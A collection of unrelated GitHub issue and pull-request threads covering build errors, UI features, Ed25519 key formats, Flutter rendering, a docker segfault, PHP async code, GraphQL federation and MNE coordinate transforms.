Use of obsolete API for Exception constructor

When using the latest build of .NET 8 Preview 4 SDK to build the vstest repo, it results in the following analyzer error:
/repos/dotnet/src/vstest/artifacts/source-build/self/src/src/Microsoft.TestPlatform.AdapterUtilities/ManagedNameUtilities/InvalidManagedNameException.cs(14,93): error SYSLIB0051: 'Exception.Exception(SerializationInfo, StreamingContext)' is obsolete: 'This API supports obsolete formatter-based serialization. It should not be called or extended by application code.' (https://aka.ms/dotnet-warnings/SYSLIB0051) [/repos/dotnet/src/vstest/artifacts/source-build/self/src/src/Microsoft.TestPlatform.AdapterUtilities/Microsoft.TestPlatform.AdapterUtilities.csproj::TargetFramework=net8.0]

This was caught by the Source-build bootstrapping build workflow which uses a source-built version of the latest SDK to build the product's repos.

@vitek-karas We are multi-targetting our builds to the various tfms. What's the recommended approach here? Shall we exclude all serialization exception ctors for NET8+? Shall we start before that? Shall we ignore this issue at the moment?

@GrabYourPitchforks should know what to do.

This issue https://github.com/dotnet/docs/issues/34893 contains all the informations about how to be fixing this issue properly.


Create, select, and delete image view presets

This PR adds a widget for Image View Presets on the righthand side of the image controls.
The user doe the following:

select from existing presets to apply one
use the plus button to name and save the current state as a new preset
delete the selected preset

Requesting @manthey to take a look, since this will probably need a few iterations.

Is there any way to close the "new preset" after it has been expanded?  Maybe clicking the plus again would hide it.  It feel like once you start creating a present you are stuck doing so.

Is there any way to close the "new preset" after it has been expanded? Maybe clicking the plus again would hide it. It feel like once you start creating a present you are stuck doing so.

Yes, I can do that. Changed in 312e6ed

This is an opinion question (not necessarily a problem).  I created a preset with a selection.  I then decided it wasn't as good as it could be, so I twiddled some settings.  To replace an existing preset without recreating the settings manually, I then have to (1) create a new preset with a name I don't want, (2) switch to the old version, (3) delete it, (4) switch to the undesired name, (5) create a new preset with the original name, (6) switch back to the undesired name, (7) delete it.
Obviously, replacing an existing preset should have some warning, but refusing to replace it makes updating a present hard.  What if instead when there was a name collision the "Save preset" button changed to "Update preset"?

I create a preset with some channels selected and one with all channels selected.  When I switch between them, it visually looks right, but the check boxes don't clear when channels are deselected.
When a preset has all channels selected, the "all" check mark isn't checked.
The auto range now looks like 0.002% rather than 0.2%.

Would it be possible to compare the current frame and style values and switch the preset drop down to "Select a preset" when things are changed and switch to a specific preset when they match?

You can't switch back to a preset with spaces at the end of its name.

On a multi-axis preset, I set each axis to a different value and it then render it as if the first axis was the overall frame number and the other axes were 0.

Obviously, replacing an existing preset should have some warning, but refusing to replace it makes updating a present hard. What if instead when there was a name collision the "Save preset" button changed to "Update preset"?

Good idea. Changed in 4ced213.

Would it be possible to compare the current frame and style values and switch the preset drop down to "Select a preset" when things are changed and switch to a specific preset when they match?

Added in 7f37a10

On a multi-axis preset, I set each axis to a different value and it then render it as if the first axis was the overall frame number and the other axes were 0.

 When I try this on multi_all.yml, it works as expected.

On a multi-axis preset, I set each axis to a different value and it then render it as if the first axis was the overall frame number and the other axes were 0.

 When I try this on multi_all.yml, it works as expected.

On DDX58_AXL_EGFR_well2.nd2, I set the following:

Then save the preset and I see


Revert "Apply clippy and make len not mutate the cache."

Reverts maidsafe/lru_time_cache#57

r? @Fraser999
(maidsafe_highfive has picked a reviewer for you, use r? to override)


Update nativescript-phone to resolve crash.

The crash seems to happen on some iOS 15.1 devices but not others, on affected devices the crash occurs every launch. See https://github.com/msywensky/nativescript-phone/issues/51

Resolved in 3.1.8


64 byte signing key length

Is it possible to use a 64 byte signing key with this library? I have a key generated from https://github.com/sparkle-project/ed25519 and I need to verify signatures using ruby.

Use SigningKey.from_keypair

This doesn't work for me, it's not a 64 byte keypair, it's a 64 byte signing key only.
Looking through the code it looks like it should be possible to use it according to
https://github.com/RubyCrypto/ed25519/blob/2448332cacad4faf64c8c60b027ec3a36e3cffcc/ext/ed25519_ref10/ed25519_ref10.h#L6
but
https://github.com/RubyCrypto/ed25519/blob/2448332cacad4faf64c8c60b027ec3a36e3cffcc/lib/ed25519.rb#L13
restricts to 32 bytes.
I'm using this with https://github.com/sparkle-project/ed25519#usage, which generated our keypair. The signing key is 64 bytes and I'd like to be able to make compatible signatures and verify signatures with Ruby.
I understand if this isn't supported (looks like it) but wonder if it could be supported and what would need to change to get it to work.

You'll have to be a little more specific about what you mean by "64 byte signing key only."
Can you describe what you want in terms of this taxonomy of Ed25519 keys:
https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/
It sounds like you might want the original legacy NaCl 20110221 format i.e. a || RH. That is definitely unsupported in current releases, but could potentially be added.

You'll have to be a little more specific about what you mean by "64 byte signing key only."

It looks like the library I'm using is following ref10, but stores the private key after hashing rather than providing the seed: https://github.com/orlp/ed25519/issues/10#issuecomment-242761092
Thanks for your help figuring out the issue.

That looks like the a || RH format. More generally what you're referring to is sometimes described as an "expanded secret key".
There are some specific reasons why that format is somewhat problematic, especially for keys supplied directly by users, which is why the "seed"-based API was introduced.
Namely the "edwards25519" elliptic curve has a somewhat unusual property called a "cofactor" which has to do with the order of the curve group (i.e. number of points which satisfy the curve equation) not being prime. This can potentially lead to something called small subgroup attacks, which have occurred in practice with the "edwards25519" elliptic curve (although not necessarily in conjunction with the "Ed25519" signature algorithm).
In the signature algorithm this is solved by "clamping", another name for "set/clear" bits in the diagram above, and per this comment:
https://github.com/orlp/ed25519/issues/10#issuecomment-242761092
    private_key[0] &= 248;
    private_key[31] &= 63;
    private_key[31] |= 64;

...so at the very least, the scalar portion needs to be "re-clamped", so really if we do want to support this, it'd be safer to process an "expanded secret key" as LH || RH in the diagram above, performing the "clamping" on any provided LH input to derive a.
All that said, this crate has two backends, neither of which have direct support for either the LH || RH or a || RH forms of an "expanded secret key". Both instead work off of the "keypair" format internally (seed || A).
Changing the internal key format is possible, but a fairly significant amount of work for what is effectively a non-standard key format.

@tarcieri Really appreciate the detailed explanation.

More generally what you're referring to is sometimes described as an "expanded secret key"

From the article

If you care more about the speed of operations than storage space, you’d want to store the expanded versions. Or, you might want to store as little information as possible, and accept the performance penalty of re-deriving things when necessary. Different implementations choose different tradeoffs.

I spent a good part of my afternoon hacking on this and came to the conclusion that it's not possible for me to use the key that I have with this library because it's an expanded key and I don't have a record of the seed that was used to generate it. If I somehow could obtain the seed (which I think is impossible at this point), I could use that with this library.
Is that logically correct?
I went down the path of regenerating a new key pair using this library and it works fine for me with the new key pair, the problem is many users already have the old public key and will use that to verify my signature and I don't have an easy way to cause them to update the public key they are presently storing.

Changing the internal key format used by both backends is possible, but a fairly significant amount of work for what is effectively a non-standard key format.

It would seem to me that it should be possible to use almost all of the same implementation and just skip the derivation step when an expanded key is provided.
Would you be open to such a contribution? If so, could you give a bit of direction on what you'd expect the API to look like?

it's an expanded key and I don't have a record of the seed that was used to generate it. If I somehow could obtain the seed (which I think is impossible at this point), I could use that with this library.
Is that logically correct?

Yes, the backend implementations this crate uses always expand the "seed" value immediately prior to use. This is a deliberately one-way operation (SHA-512) so there's no way to reverse it other than a brute force search.
To work with an "expanded secret key" both the C and Java backends would need to be modified to support expanded secret keys.

It would seem to me that it should be possible to use almost all of the same implementation and just skip the derivation step when an expanded key is provided.
Would you be open to such a contribution?

Yes, but you'll need to be prepared to modify both C and Java code. It won't be trivial, but I'm open to it.

If so, could you give a bit of direction on what you'd expect the API to look like?

Both backends presently compute the "expanded secret key" on-the-fly whenever signing is performed. So what you'd be implementing would be a new class for representing the expanded secret key and computing it from SigningKey.
More concretely, I'd suggest adding a class like SigningKeyExpanded or ExpandedSigningKey, and then modifying both the C and Java backends to use it.
To keep things simple and as close to the current code as possible, I'd suggest that ExpandedSigningKey contains the raw output of SHA512(seed). That is to say, don't try to do the bit-twiddling / "clamping" in advance since both backends already do that on the fly, and if you screw up and accidentally pass an "unclamped" value where a "clamped" one is expected, it could be a potential security vulnerability. "Clamping" is a cheap bit-twiddling operation, so it's easily done on-the-fly.
From there, you just need to remove the SHA-512 operation the backends are currently performing and have them operate on the SigningKeyExpanded/ExpandedSigningKey directly. You can also implement the conversion from SigningKey to the expanded key in pure Ruby using Digest::SHA512.

Yes, but you'll need to be prepared to modify both C and Java code. It won't be trivial, but I'm open to it.

I'm going to give it a go on just the C implementation first as I have zero experience with Java or JRuby. If I manage to get the C implementation to work, I'll attempt Java after that.

I spent a bunch of time trying working on this. I feel like I understand the algorithm and this library a lot better now, but I wasn't able to actually implement what we want because I'm pretty rusty with C.
Separately, I was able to find a way to seamlessly replace my public keys so I've gone ahead and generated new keys with this library and saved the seed.
Ultimately, it seems like this isn't as necessary as I thought it was for me, but if you want the feature and can give me a bit more guidance I'd be happy to work on it some more.

Unless you're particularly interested in the feature, this library is otherwise "complete" and in maintenance mode only, so I'd prefer not rocking the boat with invasive changes unless they're strongly desired.

@tarcieri Makes sense, it's not necessary for me anymore. Even though we didn't get this added, you've been a huge help.
Here's my resolution https://github.com/johndbritton/teleport/pull/84


Add allowCoreThreadTimeOut option to ExecutorServiceBuilder.

allowCoreThreadTimeOut
Today it's only possible to do this by casting:
ThreadPoolExecutor executor = (ThreadPoolExecutor) environment.lifecycle().executorService("test").....build();
executor .allowCoreThreadTimeOut(true);

Coverage decreased (-0.02%) to 84.487% when pulling 14da7540bb6c443bd0beda4ef6debefdd844f797 on natnan:executor-service-allowCoreThreadTimeOut into 743c6888be63fd544ad992634c46a99e952aa8b4 on dropwizard:master.

I think this is a fine change. For my curiosity did you have a use case where allowCoreThreadTimeOut mattered and the keepAliveTime wasn't sufficient?

http://stackoverflow.com/questions/1800317/impossible-to-make-a-cached-thread-pool-with-a-size-limit
This sums it up I believe.
Dropwizard's default ExecutorService comes with new LinkedBlockingQueue<>(); which is an infinite queue. That means, if you set up a pool with minThread:1 (and set maxThread to int-max if you want), you'll never get more than one thread. Which we realized this once on production some time ago :) and we changed the queue to SynchronousQueue with maxThread(Integer.MAX). For that use case, that was enough.
But recently, we required better fine-tuning with the ability of starting many threads (say 30) right away when needed, and increase it to a certain point (say 100 threads) on high load. You can accomplish that with minThread, limited queue, and maxThread.
However, without allowCoreThreadTimeOut, that means 30 threads will always be alive. And that's not what we want.
<rant>
It's actually quite surprising to me how limited the ExecutorService options are in Java. You can't do much smart tuning. For example, I would have liked another queue after maxThread (which was my assumption in the first place). RejectedExecutionHandlers are hardly sufficient.
Or have minThread where the threads are always alive (allowCoreThreadTimeOut: false today), and then threads that are produced as soon as minThread is not enough.
</rant>

Thank you for such an explanation. Looks good to me.


Add create quic_conf interface for ffi.

Codecov Report
Patch coverage has no change and project coverage change: +0.28 :tada:

Comparison is base (5525eef) 59.21% compared to head (7906bca) 59.49%.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #162      +/-   ##
==========================================
+ Coverage   59.21%   59.49%   +0.28%
==========================================
  Files         100      100
  Lines       27417    27431      +14
==========================================
+ Hits        16234    16321      +87
+ Misses      11183    11110      -73

Impacted Files
Coverage Δ

src/mqtt/protocol/mqtt/mqtt_quic.c
0.00% <0.00%> (ø)

... and 16 files with indirect coverage changes
Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Allow bosh-dns to run on windows 2019 stemcells

Previous https://github.com/cloudfoundry/bosh-deployment/pull/293
cc @sophiewigmore

@mfine30 Is there a story in your backlog for this issue that we can track in the garden windows backlog?

@genevieve this story: https://www.pivotaltracker.com/story/show/164119491. I can bring it up in pre-ipm / ipm this week


Remove global platform filter

There is a global platform filter which filters out the Component and APIs based on the platform.
This should be removed in favour of showing more information.

Closed via #153


Text height is different on HTML renderer

Flutter Web (canvaskit renderer) on the left, Flutter Web (html renderer) on the right.

height: 0 from TextStyle causes this difference. It is probably because web behaves differently than Flutter, but it still feels like a bug behaving differently. Flutter should map that value to something else.
import 'package:flutter/material.dart';

const Color darkBlue = Color.fromARGB(255, 18, 32, 47);

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      theme: ThemeData.dark().copyWith(
        scaffoldBackgroundColor: darkBlue,
      ),
      debugShowCheckedModeBanner: false,
      home: Scaffold(
        body: Center(
          child: MyWidget(),
        ),
      ),
    );
  }
}

class MyWidget extends StatelessWidget {
  const MyWidget({Key? key}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return SizedBox(
      width: 172,
      height: 115,
      child: Text(
        'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
        style: TextStyle(
          fontSize: 18,
          height: 0,
        ),
      ),
    );
  }
}

➜ flutter doctor -v
[✓] Flutter (Channel stable, 2.10.4, on macOS 11.4 20F71 darwin-x64, locale
    en-BR)
    • Flutter version 2.10.4 at /usr/local/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision c860cba910 (11 days ago), 2022-03-25 00:23:12 -0500
    • Engine revision 57d3bac3dd
    • Dart version 2.16.2
    • DevTools version 2.9.2

Extension of https://github.com/flutter/flutter/issues/101303.

Verified on latest master and stable and see same behavior.  Seems with height: 0, the space is not rendered / calculated correctly.

Canvaskit:

html:

 stable, master flutter doctor -v

[✓] Flutter (Channel stable, 2.10.4, on macOS 12.2.1 21D62 darwin-x64, locale
    en-GB)
    • Flutter version 2.10.4 at /Users/dhs/documents/fluttersdk/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision c860cba910 (3 days ago), 2022-03-25 00:23:12 -0500
    • Engine revision 57d3bac3dd
    • Dart version 2.16.2
    • DevTools version 2.9.2

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

[✓] Flutter (Channel master, 2.13.0-0.0.pre.423, on macOS 12.2.1 21D62
    darwin-x64, locale en-GB)
    • Flutter version 2.13.0-0.0.pre.423 at
      /Users/dhs/documents/fluttersdk/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision d103e5a8a4 (2 hours ago), 2022-04-06 22:56:09 -0400
    • Engine revision 541b636563
    • Dart version 2.17.0 (build 2.17.0-266.0.dev)
    • DevTools version 2.12.1

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

Experiencing the same issue.


Segfault when running docker-compose up -d --build

On my Intel Mac I get the below segfault when running docker-compose up -d --build

 > [build-stage 2/2] RUN cd ./frontend/ && yarn build && yarn cache clean:
#0 0.520 yarn run v1.22.19
#0 0.554 $ vite build
#0 0.646 Segmentation fault
#0 0.659 error Command failed with exit code 139.
#0 0.659 info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.
------
failed to solve: process "/bin/sh -c cd ./frontend/ && yarn build && yarn cache clean" did not complete successfully: exit code: 139

Which commit are you on? Recently merged some changes in the docker-compose that could be the result of this.
https://github.com/Mintplex-Labs/anything-llm/pull/60

I cloned about an hour ago so let's see...
2a556c275c0171c9e6852622c8b1d3f72583a89d
On Fri, 16 Jun 2023 at 10:31, Timothy Carambat @.***>
wrote:

Which commit are you on? Recently merged some changes in the
docker-compose that could be the result of this.
#60 https://github.com/Mintplex-Labs/anything-llm/pull/60
—
Reply to this email directly, view it on GitHub
https://github.com/Mintplex-Labs/anything-llm/issues/67#issuecomment-1594397714,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AX5WXTJS2R2UDIZCLIE2WWLXLQRY7ANCNFSM6AAAAAAZI6RXGQ
.
You are receiving this because you authored the thread.Message ID:
@.***>

------------------------------This email is protected by Tessian https://www.tessian.com/securethehumanlayer
--
This message originated from Tessian Limited and is intended solely for the
addressee and may contain confidential information. If you have received
this message in error, please send it back to us, and immediately and
permanently delete it. Do not use, copy or disclose the information
contained in this message or in any attachment.

That commit was actually a couple off HEAD so I just pulled to update and got the same result.

fyi @timothycarambat, I've checked out every commit associated with the docker-compose.yml file and all segfault.

In case it's helpful, I get the same error. It happens when I query the chatbot. The container is running on a linux machine, using cf9bb99701444012552a9fcbd15092f1a504ebc1. I am using LanceDB. The error message isn't very descriptive so I'm afraid there isn't much to go on.

На моем Intel Mac я получаю следующую ошибку при запускеdocker-compose up -d --build

```
 > [build-stage 2/2] RUN cd ./frontend/ && yarn build && yarn cache clean:
#0 0.520 yarn run v1.22.19
#0 0.554 $ vite build
#0 0.646 Segmentation fault
#0 0.659 error Command failed with exit code 139.
#0 0.659 info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.
------
failed to solve: process "/bin/sh -c cd ./frontend/ && yarn build && yarn cache clean" did not complete successfully: exit code: 139
```

First create a virtual environment and activate it. This should solve the problem
virtualenv venv
source venv/bin/activate

OR or AND

Check the versions of the dependencies being used and ensure that they are compatible.
Update the dependencies to their latest versions.
Increase the allocated memory by running the command with the flag --max_old_space_size=8192 For example:
NODE_OPTIONS="--max_old_space_size=8192" yarn build
If the issue persists, try increasing the system limit for the maximum number of processes and open files by running the following commands in your terminal:

ulimit -n 4096
ulimit -u 1024

How to replicate:

Clean docker build
.env has VECTOR_DB=lance
Create workspace (any name is fine)
Embed a single document
Send chat in workspace
Will segfault and exist docker proc
Restart docker instance
send chat will not work

My current suspicions have to do with some kind of file permissions when lancedb tries to calc a vector space search. On reboot somehow the search can then complete

So I'm not sure why this has been rebranded a lancedb issue @timothycarambat. This occurred for me on first launch attempt using Pinecone. Your reproduction instructions do not map to my experience.

I'm seeing much more stability using vectordb 0.1.8 - too early to be sure, but previously I experienced a crash every other query. After upgrading, I haven't experienced a crash after around 20 queries.

Closing this as stale, we recently bumped the vectordb version and too have seen much more stability. Will reopen in new issue if persists


Calling promises running sync instead of async

I am trying following code, i want to run my functions async, however the for loop that display 1-10000 print values after printing values of sendNotificationsFromEntries. Doesn't seem to be running async. What am i missing?
static::sendNotificationsFromEntries($entries);
for($i = 0 ; $i < 100000; $i++)
            echo $i;

function sendNotificationsFromEntries($entries)
{
        Loop::run(function () use($entries)
        {
              $output = yield static::callAysncFunc($value);
              // do a small work on output and
             echo json_encode($output)
        });
}

private static function callAysncFunc($tokens)
    {
        $deferred = new Deferred();
        Loop::run(function () use ($deferred, $tokens)
        {
            $result = doSomeHeavyLifting();
            $deferred->resolve($result);
        });
        return $deferred->promise();
}

Loop::run() will block and run the event loop. You need to put Loop::run() around your entire application, not inside specific methods.

can you modify my code because i am not getting how can i put it over entire application and then get results

<?php

Amp\Loop::run(function () {
    $promises[];
    for ($i = 0; $i < 1000; $i++) {
        $promises[] = someAsyncCall();
    }

    yield $promises;
});

Note that you probably don't want to make 1000 calls to someAsyncCall() like that, but instead process the data in reasonable chunks, e.g. 10 at a time.
 You'll have to use non-blocking I/O instead of the traditional blocking I/O function calls, so no file_get_contents() / blocking HTTP requests / sleep() / …

some customised curl and stream_context_create . That is what i want to do, run these things so these calls wont block the other code. So after customising my above code i am doing this now,
    $bot->callMainFunc();
    while($i > 1)   /// Test function to check if its blocking or not.
    {
       $i = $i + 1;
       $x = $i % 1000000;
       if($x == 0)
       {
          echo $i. "\n";
          echo json_encode($bot->getResponses()). "\n";
        }
    }

The main function i want to implement async call is
callMainFunc()
{
         $promises = array();
        foreach ($entries as $key=>$value)
        {
            $promises[] = static::setupNotificationForEntry($key, $value);
        }

        yield $promises;
}
setupCallForEntry($key, $value)
{
    $deferred = new Deferred();
    Loop::run(function () use ($deferred, $key, $value)
    {
            $mainOutput = // call either a curl or stream context or do some processing on old results;
            static::addToResponse($mainOutput);
            $deferred->resolve($mainOutput);
     });
     return $deferred->promise();
}

If you are saying http blocks the promises then how can i implement async calls.
Weirdly the above function doesnt give me any error but its not making any calls either

callMainFunc() will return a Generator. To run this generator as coroutine, you need to wrap the call in Amp\call() or use Amp\coroutine() to wrap the callable and then call it.
Curl won't interact nicely with Amp. Instead you can use Artax as an HTTP client. If you want to continue using Curl, you need to move these calls into a separate process, e.g. with parallel or parallel-functions, so they won't block.
Your setupCallForEntry() still calls Loop::run() and returns a Promise. As a rule of thumb, nothing in the call stack above Loop::run() should deal with promises, only code inside Loop::run().

okay, i'll do all above, however what about stream_context_create, is amp going to have a problem with that too?

Not with the stream_context_create(), but rather with blocking socket operations. You have to set the socket to non-blocking and use Amp\Loop::onReadable() and Amp\Loop::onWritable() to get notified when data on the socket is available. You can use byte-stream or socket for a nice abstraction, so you don't have to deal with the event loop and watchers manually.


Add support for "Entity interfaces" introduced since federation v2.3

Description of the feature
The description can be found here: https://www.apollographql.com/docs/federation/federated-types/interfaces/
Code example (if possible)
I believe this require #[graphql(key)] for Interface and #[graphql(interface_object)] on output type from function that is marked with #[graphql(entity)]

It seems most of it is there.

I can define the interface
I can define an entity resolver for each implementation of the interface
I can define interface_object on a object/Simpleobject

struct MyInterface;

#[Object(interface_object)]
impl MyInterface {
    async fn id(&self) -> ID { todo!() }
    async fn something(&self) -> String { todo!() }
}

However, implementing the entity resolver for the interface causes issues

#[Object]
impl Query {
      #[graphql(entity)]
      async fn find_my_interface_by_id(&self, id: ID) -> MyInterface { todo!() }
}

This compiles, however it yields _Entity type that has the interface as one of its members which my graphql query tools (Altair) yelp at and complains that my schema is invalid. Although the apollo graphql router accepts this and works
Which the graphql Spec agrees that it is invalid. (Member types of a union must all be Object types)
http://spec.graphql.org/October2021/#sel-HAHdfFDABABlG3ib

Just wanted to add an observation here. I've run into this same.. or a similar problem.
What I'm seeing is that the _Entities union does have MyInterface listed. However, I think that is incorrect. The interface shouldn't be listed, rather all the things that implement the interface should.
Querying with it like this results in:
{
  "data": null,
  "errors": [
    {
      "message": "Fragment cannot be spread here as objects of type \"_Entity\" can never be of type \"MyInterface\"",
      "locations": [
        {
          "line": 1,
          "column": 97
        }
      ]
    }
  ]
}

I can work around this by adding #[graphql(entity)] resolvers for every implementer of the interface. That ends up adding them to the _Entities union (along with MyInterface which, to my understanding shouldn't be there). But clients can then make the query as expected.
I feel like this sort of works "by accident". It would be great to have first-class support for this.


gitlab: update prometheus-client-mmap gem to fix aarch64

Currently the nixosTests for gitlab are failing on aarch64-linux do to an error within prometheus-client-mmap ("failed with weakmap value was not a string"), the update to 1.1.2 should fix this accouring to upstream.
https://gitlab.com/gitlab-org/ruby/gems/prometheus-client-mmap/-/issues/68#top

Things done

Built on platform(s)

[ ] x86_64-linux
[x] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
25.05 Release Notes (or backporting 24.11 and 25.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

@ofborg test gitlab


Error updating / Failed Patterns

Not sure what I did wrong, but downloaded the SmartHunter.exe and Newtonsoft.Json.dll file like the readME said. Made a new folder and named it SmartHunter and put all those files in it. Pressing ALT in game highlights the overlay fields but no info ever populates. Here are the codes listed when I launch the SmartHunter APP.Any ideas or help? Thank you

I've got the same issue.

[2020-02-20 04:47:19] Failed Patterns [1/8]: LobbyStatusPattern
[2020-02-20 04:47:19] The application will continue to work but with limited functionalities...
[2020-02-20 04:47:19] Match Range: 14022FBF9 - 156258841
same here... maybe last update's fault

Good point Lordaine. I overlooked there was an update today

It should be fixed with latest update. If that's the case close the issue

i'll test it right now :)

not working ;(
[2020-02-20 16:12:17] Win32Exception: Richiesta ReadProcessMemory o WriteProcessMemory completata solo parzialmente
in System.Diagnostics.NtProcessManager.GetModuleInfos(Int32 processId, Boolean firstModuleOnly)
in System.Diagnostics.NtProcessManager.GetFirstModuleInfo(Int32 processId)
in System.Diagnostics.Process.get_MainModule()
in SmartHunter.Core.MemoryUpdater.<>c__DisplayClass20_0.b__18()
in SmartHunter.Core.StateMachine`1.Update()
in SmartHunter.Core.MemoryUpdater.Update(Object sender, EventArgs e)
[2020-02-20 16:45:32] Config.json saved

Are you Italian? Anyway that errore is very strange as it says that something went wrong while reading the process memory and not due to a failed pattern :/

Si italiano. Non so dirti... In game non si vede nessun parametro ne boss
ne oggetti :( andava fino a ieri 😂 mannaggia a loro e agli update
Il gio 20 feb 2020, 18:16 Gabriele Filipponi<EMAIL_ADDRESS>ha
scritto:

Are you Italian? Anyway that errore is very strange as it says that
something went wrong while reading the process memory and not due to a
failed pattern :/
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/gabrielefilipp/SmartHunter/issues/46?email_source=notifications&email_token=AOTM37POSKK4HKNHPLQPDQ3RD23HJA5CNFSM4KYFX5PKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEMPJPWQ#issuecomment-589207514,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOTM37MQ6UGZDR55PFQVYSDRD23HJANCNFSM4KYFX5PA
.

Hai provato a cancellare tutti i file e mettere quelli nuovi?
L'exe l'ho fatto provare ai miei amici e nessuno ha il tuo problema :/

Si guarda fatto ora. Risolto. Grazie mille davvero 😊
Il gio 20 feb 2020, 18:48 Gabriele Filipponi<EMAIL_ADDRESS>ha
scritto:

Hai provato a cancellare tutti i file e mettere quelli nuovi?
L'exe l'ho fatto provare ai miei amici e nessuno ha il tuo problema :/
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/gabrielefilipp/SmartHunter/issues/46?email_source=notifications&email_token=AOTM37PXIFOTAA3BSKXZQHTRD266VA5CNFSM4KYFX5PKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEMPNAYQ#issuecomment-589221986,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOTM37P3XM24YRAHO5VACJ3RD266VANCNFSM4KYFX5PA
.

Looks like mine fixed itself after the patch. Thank you for taking the time to read/respond Gabriele! I'll close the issue. Thanks again for the hardwork on the overlay!


Shrink "receiver" box

We're adding "more" button on transactional screens to hide two of the optional fields. However, users in many cases still need to scroll the extension to confirm a transaction. To solve this, we need to make the "receiver" box smaller:

Here's handoff for updated component:

Link to Figma file

@stackingsaunter I can pick it as well.

@stackingsaunter do you have an lnurlpay getalby address that shows me a profile picture?

@stackingsaunter do you have an lnurlpay getalby address that shows me a profile picture?

I asked in the Telegram chat and Bumi answered "no, we don’t expose images and I am hesitant to do that. I don’t think images should be embedded in JSON" So I just neglected this case.
But what irritates me now, why do we have the image element implemented in the first case.
@stackingsaunter @reneaaron If you know a use case where this component shows an image please let me know how I can test it.

@lujakob it shows it when battery is activated, eg. on twitter page of hannes https://twitter.com/escapedcat

https://twitter.com/escapedcat

cool. I updated the PR and added the screenshot to it's description.


montage / digmontage / transforms documentation

I was trying to understand how all the transforms work with @teonbrooks . I don't have time to write a full-fledged documentation but I'll jot down the main points -- it could form the skeleton of a tutorial or added to an existing one.

You have 3 coordinate systems: device, head, and MRI
The kinds of points you are considering are: hpi (in device space; also called elp when it's in digitizer head space), lpa, rpa, nasion, digitized head shape points
Goal is to get two transforms: head-device and head-mri, the former is stored in info and the latter is the so-called -trans.fif file that is found by coregistration
Let's consider the first transform head-device -- it's estimated using HPI coils. You know the HPI location in head space. Then during the recording you emit an RF pulse at 330 Hz (?). This can be filtered and then with dipole fit with a spherical head model, you find the location of these points in device space. Now you have the location in both device and head space, so the dev-head transform can be computed. This is typically done in the acquisition device itself and then read into raw.info['dev_head_transform']
